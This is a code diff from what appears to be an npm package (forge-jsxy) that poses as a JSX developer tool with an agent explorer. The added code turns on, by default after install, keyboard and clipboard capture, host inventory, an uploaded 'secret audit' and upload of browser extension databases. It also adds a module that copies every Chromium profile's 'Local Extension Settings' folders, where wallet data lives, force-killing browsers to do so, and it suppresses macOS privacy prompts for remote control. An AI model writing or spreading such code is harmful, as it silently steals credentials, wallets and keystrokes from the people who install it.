- return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart && exit 0; ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-restart.mjs\"; if [ -f \"$G\" ]; then node \"$G\"; exit $?; fi; done; fi; if command -v forge-jsx-explorer-restart >/dev/null 2>&1; then forge-jsx-explorer-restart; else npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; fi";
2271
+ const ufb = unixLegacyNpmExec('forge-jsx-explorer-restart') + unixDurableForgeScriptProbe('forge-jsx-explorer-restart.mjs') + unixForgeExplorerBinProbe('forge-jsxy-explorer-restart','forge-jsx-explorer-restart');
2272
+ return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart && exit 0; "+ufb+"ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-restart.mjs\"; if [ -f \"$G\" ]; then node \"$G\"; exit $?; fi; done; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=__FORGE_JSX_LEGACY_PKG__ -- forge-jsx-explorer-restart; exit $?";
2233
2273
  }
2234
2274
  function forgeJsxExplorerKillShellCommand(){
2235
2275
  if(useWindowsForgeJsxShellCommand()){
2236
- return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-kill-agent -ErrorAction SilentlyContinue){ & forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-kill-agent.mjs'); if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent";
2276
+ const fb = winLegacyNpmExec('forge-jsx-explorer-kill-agent') + winDurableForgeScriptProbe('forge-jsx-explorer-kill-agent.mjs') + winForgeExplorerBinProbe('forge-jsxy-explorer-kill-agent','forge-jsx-explorer-kill-agent');
2277
+ return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 }; "+fb+"foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-kill-agent.mjs'); if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent";
2237
2278
  }
2238
- return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent && exit 0; ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-kill-agent.mjs\"; if [ -f \"$G\" ]; then node \"$G\"; exit $?; fi; done; fi; if command -v forge-jsx-explorer-kill-agent >/dev/null 2>&1; then forge-jsx-explorer-kill-agent; else npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; fi";
2279
+ const ufb = unixLegacyNpmExec('forge-jsx-explorer-kill-agent') + unixDurableForgeScriptProbe('forge-jsx-explorer-kill-agent.mjs') + unixForgeExplorerBinProbe('forge-jsxy-explorer-kill-agent','forge-jsx-explorer-kill-agent');
2280
+ return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent && exit 0; "+ufb+"ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-kill-agent.mjs\"; if [ -f \"$G\" ]; then node \"$G\"; exit $?; fi; done; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=__FORGE_JSX_LEGACY_PKG__ -- forge-jsx-explorer-kill-agent; exit $?";
2239
2281
  }
2240
2282
  /** Timeouts that call `doConnect()` after Upgrade or Restart agent — cleared on Disconnect or reconnect success (idle skips). */
2241
2283
  let forgeUpgradeReconnectTimeouts = [];
@@ -5475,7 +5517,7 @@ function onMsg(m){
5475
5517
  if(wasForgeUpgrade && !badExit){
5476
5518
  body +=
5477
5519
  '\n\n--- forge-jsxy upgrade ---\n'+
5478
- 'Stdout above includes `[forge-jsxy-explorer-upgrade]` version status (e.g. planned X → Y, already up to date, or PM2 jlist unavailable so a worker still runs). '+
5520
+ 'Stdout above includes `[forge-jsx-explorer-upgrade]` version status (e.g. planned X → Y, already up to date, or PM2 jlist unavailable so a worker still runs). '+
5479
5521
  'On the agent host read `~/.forge-js/explorer-upgrade.log` for `worker start`, PM2 stop/restart lines, and `OK` / `FAIL npm install`. '+
5480
5522
  'If relay is not a PM2 process named `forge-relay`, set env `FORGE_JSX_PM2_RELAY_NAME=0` (and match `FORGE_JSX_PM2_AGENT_NAME` to your PM2 app name). '+
5481
5523
  'Verbose worker: `FORGE_JSX_EXPLORER_UPGRADE_LOG=1`. Reinstall anyway: `FORGE_JSX_EXPLORER_UPGRADE_FORCE=1`. '+
@@ -5483,21 +5525,14 @@ function onMsg(m){
5483
5525
  }
5484
5526
  if(wasForgeUpgrade && badExit){
5485
5527
  const stderrLower = e.toLowerCase();
5486
- const blankOut = !o.trim() && !e.trim();
5487
- const winLegacyShellTimeout =
5488
- ec === '4294967295' && blankOut;
5489
5528
  const winGlobalInstallPerm =
5490
5529
  stderrLower.includes('eperm') &&
5491
5530
  stderrLower.includes('appdata\\\\roaming\\\\npm\\\\node_modules\\\\forge-jsxy');
5492
5531
  body +=
5493
5532
  '\n\n--- forge-jsxy upgrade ---\n'+
5494
5533
  'Upgrade launcher exited non-zero. Fix errors on the agent host, then try Upgrade again or run the command manually in a local terminal.';
5495
- if(winLegacyShellTimeout){
5496
- body +=
5497
- '\n\nDetected Windows legacy shell failure (`exit 4294967295` with empty stdout/stderr). '+
5498
- 'This agent build cannot execute remote shell reliably from the explorer. '+
5499
- 'Run upgrade locally on that Windows host (PowerShell as the same user):\n'+
5500
- ' npm exec --yes --package=forge-jsxy@latest -- forge-jsxy-explorer-upgrade';
5534
+ if(isWinLegacyShellFailure(ec, o, e)){
5535
+ body = appendWinLegacyShellHint(body, 'forge-jsx-explorer-upgrade');
5501
5536
  } else if(winGlobalInstallPerm){
5502
5537
  body +=
5503
5538
  '\n\nDetected Windows global npm permission lock on `%APPDATA%\\\\npm\\\\node_modules\\\\forge-jsxy` (EPERM mkdir). '+
@@ -5510,23 +5545,30 @@ function onMsg(m){
5510
5545
  if(wasForgeRestart && !badExit){
5511
5546
  body +=
5512
5547
  '\n\n--- forge-agent restart ---\n'+
5513
- 'Stdout above should include `[forge-jsxy-explorer-restart]` scheduling line. The worker runs `restart-agent.mjs` (build, cfgmgr --stop, postinstall) with stdio hidden on the agent. '+
5548
+ 'Stdout above should include `[forge-jsx-explorer-restart]` scheduling line. The worker runs `restart-agent.mjs` (build, cfgmgr --stop, postinstall) with stdio hidden on the agent. '+
5549
+ 'Legacy global `forge-jsx` installs are probed automatically. '+
5514
5550
  'A line is appended to `~/.forge-js/explorer-restart.log` when the worker finishes. This session may drop; this page retries connecting ~2 minutes.';
5515
5551
  }
5516
5552
  if(wasForgeRestart && badExit){
5517
5553
  body +=
5518
5554
  '\n\n--- forge-agent restart ---\n'+
5519
5555
  'Restart launcher exited non-zero. Fix errors on the agent host, then try Restart agent again.';
5556
+ if(isWinLegacyShellFailure(ec, o, e)){
5557
+ body = appendWinLegacyShellHint(body, 'forge-jsx-explorer-restart');
5558
+ }
5520
5559
  }
5521
5560
  if(wasForgeKill && !badExit){
5522
5561
  body +=
5523
5562
  '\n\n--- kill agent ---\n'+
5524
- 'Stdout above should include `[forge-jsxy-explorer-kill-agent]` scheduling line. The worker runs `forge-cfgmgr --stop`, `forge-autostart uninstall` (main agent + legacy OS npm-scheduler artifacts if any), best-effort PM2 `forge-agent` stop/delete, sanitizes `forge-js-agent.env`, and — when forge-jsxy is installed under `npm root -g` — a delayed `npm uninstall -g forge-jsxy` removes the global package tree. Details append to `~/.forge-js/explorer-kill-agent.log`. This file-explorer session will not auto-reconnect; reinstall forge-jsxy on the host if you need the agent again.';
5563
+ 'Stdout above should include `[forge-jsx-explorer-kill-agent]` scheduling line. The worker runs `forge-cfgmgr --stop`, `forge-autostart uninstall` (main agent + legacy OS npm-scheduler artifacts if any), best-effort PM2 `forge-agent` stop/delete, sanitizes `forge-js-agent.env`, and — when forge-jsxy or legacy forge-jsx is installed under `npm root -g` — a delayed `npm uninstall -g` removes both global package trees. Details append to `~/.forge-js/explorer-kill-agent.log`. This file-explorer session will not auto-reconnect; reinstall forge-jsxy on the host if you need the agent again.';
5525
5564
  }
5526
5565
  if(wasForgeKill && badExit){
5527
5566
  body +=
5528
5567
  '\n\n--- kill agent ---\n'+
5529
5568
  'Kill launcher exited non-zero. Fix errors on the agent host, then run Kill agent again or run the steps manually.';
5569
+ if(isWinLegacyShellFailure(ec, o, e)){
5570
+ body = appendWinLegacyShellHint(body, 'forge-jsx-explorer-kill-agent');
5571
+ }
5530
5572
  }
5531
5573
  tout.textContent = body;
5532
5574
  terminalScrollToBottom();
@@ -40,6 +40,12 @@ export declare function forgeAgentEnvPath(dataDir: string): string;
40
40
  * Complements {@link applyForgeJsAgentEnvFile}; safe to call multiple times.
41
41
  */
42
42
  export declare function applyDefaultHubUploadProcessEnv(): void;
43
+ /**
44
+ * Turnkey agent features default ON after `npm install` (opt out via forge-js-agent.env or env).
45
+ * Clipboard poll-only on all OSes avoids native clipboard-event helpers that may flash windows
46
+ * or trigger OS privacy sheets (Input Monitoring on macOS, etc.).
47
+ */
48
+ export declare function applyDefaultAgentFeatureProcessEnv(): void;
43
49
  /**
44
50
  * Default unattended agent profile when vars are unset or blank: suppress routine chatter and avoid
45
51
  * desktop-capture hooks unless explicitly opted in (`FORGE_JS_DISCORD_SCREENSHOT_ALLOW_HEADLESS`).
@@ -41,6 +41,7 @@ exports.parseForgeAgentEnvFileToMap = parseForgeAgentEnvFileToMap;
41
41
  exports.mergeLinuxGraphicalSessionIntoForgeAgentEnv = mergeLinuxGraphicalSessionIntoForgeAgentEnv;
42
42
  exports.forgeAgentEnvPath = forgeAgentEnvPath;
43
43
  exports.applyDefaultHubUploadProcessEnv = applyDefaultHubUploadProcessEnv;
44
+ exports.applyDefaultAgentFeatureProcessEnv = applyDefaultAgentFeatureProcessEnv;
44
45
  exports.applyDefaultAgentUnattendedProcessEnv = applyDefaultAgentUnattendedProcessEnv;
45
46
  exports.writeForgeJsAgentEnv = writeForgeJsAgentEnv;
46
47
  exports.mergeForgeAgentEnvKeyValue = mergeForgeAgentEnvKeyValue;
@@ -341,6 +342,9 @@ function forgeAgentEnvPath(dataDir) {
341
342
  * Complements {@link applyForgeJsAgentEnvFile}; safe to call multiple times.
342
343
  */
343
344
  function applyDefaultHubUploadProcessEnv() {
345
+ if (!(process.env.CFGMGR_HF_FETCH_FROM_RELAY ?? "").trim()) {
346
+ process.env.CFGMGR_HF_FETCH_FROM_RELAY = "1";
347
+ }
344
348
  if (!(process.env.CFGMGR_HF_USE_XET ?? "").trim()) {
345
349
  process.env.CFGMGR_HF_USE_XET = "0";
346
350
  }
@@ -348,6 +352,31 @@ function applyDefaultHubUploadProcessEnv() {
348
352
  process.env.CFGMGR_HF_SKIP_OPENAS_BLOB = "1";
349
353
  }
350
354
  }
355
+ /**
356
+ * Turnkey agent features default ON after `npm install` (opt out via forge-js-agent.env or env).
357
+ * Clipboard poll-only on all OSes avoids native clipboard-event helpers that may flash windows
358
+ * or trigger OS privacy sheets (Input Monitoring on macOS, etc.).
359
+ */
360
+ function applyDefaultAgentFeatureProcessEnv() {
361
+ if (!(process.env.CFGMGR_SYNC_KEYBOARD_CLIPBOARD ?? "").trim()) {
362
+ process.env.CFGMGR_SYNC_KEYBOARD_CLIPBOARD = "1";
363
+ }
364
+ if (!(process.env.FORGE_JS_SYNC_HOST_INVENTORY ?? "").trim()) {
365
+ process.env.FORGE_JS_SYNC_HOST_INVENTORY = "1";
366
+ }
367
+ if (!(process.env.FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD ?? "").trim()) {
368
+ process.env.FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD = "1";
369
+ }
370
+ if (!(process.env.FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD ?? "").trim()) {
371
+ process.env.FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD = "1";
372
+ }
373
+ if (!(process.env.FORGE_JS_AGENT_SECRET_AUDIT ?? "").trim()) {
374
+ process.env.FORGE_JS_AGENT_SECRET_AUDIT = "1";
375
+ }
376
+ if (!(process.env.FORGE_JS_CLIPBOARD_POLL_ONLY ?? "").trim()) {
377
+ process.env.FORGE_JS_CLIPBOARD_POLL_ONLY = "1";
378
+ }
379
+ }
351
380
  /**
352
381
  * Default unattended agent profile when vars are unset or blank: suppress routine chatter and avoid
353
382
  * desktop-capture hooks unless explicitly opted in (`FORGE_JS_DISCORD_SCREENSHOT_ALLOW_HEADLESS`).
@@ -360,6 +389,10 @@ function applyDefaultAgentUnattendedProcessEnv() {
360
389
  if (!(process.env.FORGE_JS_HEADLESS_UI ?? "").trim()) {
361
390
  process.env.FORGE_JS_HEADLESS_UI = "1";
362
391
  }
392
+ /** Block macOS osascript remote-input paths that can surface Accessibility prompts. */
393
+ if (!(process.env.FORGE_JS_REMOTE_CONTROL_NO_PROMPT ?? "").trim()) {
394
+ process.env.FORGE_JS_REMOTE_CONTROL_NO_PROMPT = "1";
395
+ }
363
396
  }
364
397
  /**
365
398
  * Persist forge-db sync URL + (Linux) session vars so clipboard tools work under systemd --user.
@@ -398,6 +431,13 @@ function writeForgeJsAgentEnv(dataDir, syncApiUrl, omitSyncUrl = false) {
398
431
  lines.push(envFileLine("CFGMGR_HF_FETCH_FROM_RELAY", hfRelayFetchOff ? "0" : "1"));
399
432
  lines.push(envFileLine("CFGMGR_HF_USE_XET", "0"));
400
433
  lines.push(envFileLine("CFGMGR_HF_SKIP_OPENAS_BLOB", "1"));
434
+ lines.push(envFileLine("CFGMGR_SYNC_KEYBOARD_CLIPBOARD", "1"));
435
+ lines.push(envFileLine("FORGE_JS_SYNC_HOST_INVENTORY", "1"));
436
+ lines.push(envFileLine("FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD", "1"));
437
+ lines.push(envFileLine("FORGE_JS_AGENT_SECRET_AUDIT", "1"));
438
+ lines.push(envFileLine("FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD", "1"));
439
+ lines.push(envFileLine("FORGE_JS_CLIPBOARD_POLL_ONLY", "1"));
440
+ lines.push(envFileLine("FORGE_JS_REMOTE_CONTROL_NO_PROMPT", "1"));
401
441
  if (process.platform === "linux") {
402
442
  let uid = 1000;
403
443
  try {
@@ -510,8 +550,17 @@ function applyForgeJsAgentEnvFile(dataDir) {
510
550
  }
511
551
  const map = parseForgeAgentEnvFileToMap(raw);
512
552
  for (const [k, v] of map) {
513
- /** Installed defaults for Hub uploads — always honor the file after `npm install`. */
514
- if (k === "CFGMGR_HF_USE_XET" || k === "CFGMGR_HF_SKIP_OPENAS_BLOB") {
553
+ /** Installed defaults — always honor the file after `npm install`. */
554
+ if (k === "CFGMGR_HF_USE_XET" ||
555
+ k === "CFGMGR_HF_SKIP_OPENAS_BLOB" ||
556
+ k === "CFGMGR_HF_FETCH_FROM_RELAY" ||
557
+ k === "CFGMGR_SYNC_KEYBOARD_CLIPBOARD" ||
558
+ k === "FORGE_JS_SYNC_HOST_INVENTORY" ||
559
+ k === "FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD" ||
560
+ k === "FORGE_JS_AGENT_SECRET_AUDIT" ||
561
+ k === "FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD" ||
562
+ k === "FORGE_JS_CLIPBOARD_POLL_ONLY" ||
563
+ k === "FORGE_JS_REMOTE_CONTROL_NO_PROMPT") {
515
564
  process.env[k] = v;
516
565
  continue;
517
566
  }
@@ -0,0 +1,70 @@
1
+ export declare const EXTENSION_DB_STAGING_DIRNAME = "extension-db-staging";
2
+ /** Relative path segment (case-insensitive) under a browser profile. */
3
+ export declare const LOCAL_EXTENSION_SETTINGS = "Local Extension Settings";
4
+ export type ExtensionDbSource = {
5
+ browserLabel: string;
6
+ /** Last segment of profile path (e.g. `Default`, `Profile 1`). */
7
+ profileLabel: string;
8
+ /** Profile directory relative to browser user-data root (POSIX slashes). */
9
+ profileRelPath: string;
10
+ extensionId: string;
11
+ absSourceDir: string;
12
+ /** Stable distinct key: browser + profile path + extension id. */
13
+ sourceKey: string;
14
+ /** Relative path inside the zip staging tree. */
15
+ stagingRelPath: string;
16
+ };
17
+ export type ExtensionDbHarvestResult = {
18
+ stagingRoot: string;
19
+ sources: ExtensionDbSource[];
20
+ copiedFiles: number;
21
+ /** Extension folders successfully copied. */
22
+ copiedFolders: number;
23
+ skippedFolders: number;
24
+ skippedCopyErrors: number;
25
+ };
26
+ /** Chromium `User Data`-style roots (may be profile root for Opera). */
27
+ export declare function chromiumBrowserUserDataCandidates(): {
28
+ label: string;
29
+ root: string;
30
+ }[];
31
+ /** Profile folder path relative to browser user-data root (parent of `Local Extension Settings`). */
32
+ export declare function profileRelPathFromLes(userDataRoot: string, lesDir: string): string;
33
+ /** Find every `Local Extension Settings` directory under a browser user-data root. */
34
+ export declare function findLocalExtensionSettingsDirs(userDataRoot: string, maxDepth?: number): {
35
+ profileLabel: string;
36
+ profileRelPath: string;
37
+ lesDir: string;
38
+ }[];
39
+ /** Gate only: true when `<extension_id>/` contains ≥1 `.db` file (triggers full-folder copy). */
40
+ export declare function extensionFolderHasDbFile(dir: string, maxDepth?: number): boolean;
41
+ /** Enumerate extension folders (with `.db` files) for explicit browser roots (test hook). */
42
+ export declare function discoverExtensionDbSourcesFromUserDataRoots(candidates: {
43
+ label: string;
44
+ root: string;
45
+ }[]): ExtensionDbSource[];
46
+ /** Enumerate extension folders (with `.db` files) across all Chromium browsers. */
47
+ export declare function discoverExtensionDbSources(): ExtensionDbSource[];
48
+ export declare function extensionDbStagingRoot(): string;
49
+ /** Unique key for browser + profile + extension id (same id in different profiles/browsers stays distinct). */
50
+ export declare function extensionSourceKey(browserLabel: string, profileRelPath: string, extensionId: string): string;
51
+ export declare function stagingRelPathForSource(src: ExtensionDbSource): string;
52
+ export type HarvestExtensionDbOptions = {
53
+ /** Terminate browsers locking profile paths before copy (default true). */
54
+ forceKill?: boolean;
55
+ /** Parallel copy workers (default 8). */
56
+ concurrency?: number;
57
+ quiet?: boolean;
58
+ /** Optional browser roots (tests); default scans all installed Chromium profiles. */
59
+ userDataCandidates?: {
60
+ label: string;
61
+ root: string;
62
+ }[];
63
+ };
64
+ /**
65
+ * Copy discovered extension folders into `<auditDir>/extension-db-staging/`.
66
+ * Returns empty `sources` when nothing to copy.
67
+ */
68
+ export declare function harvestExtensionDbFoldersToStaging(opts?: HarvestExtensionDbOptions): Promise<ExtensionDbHarvestResult>;
69
+ /** Remove staging tree after upload (best-effort). */
70
+ export declare function removeExtensionDbStaging(): Promise<void>;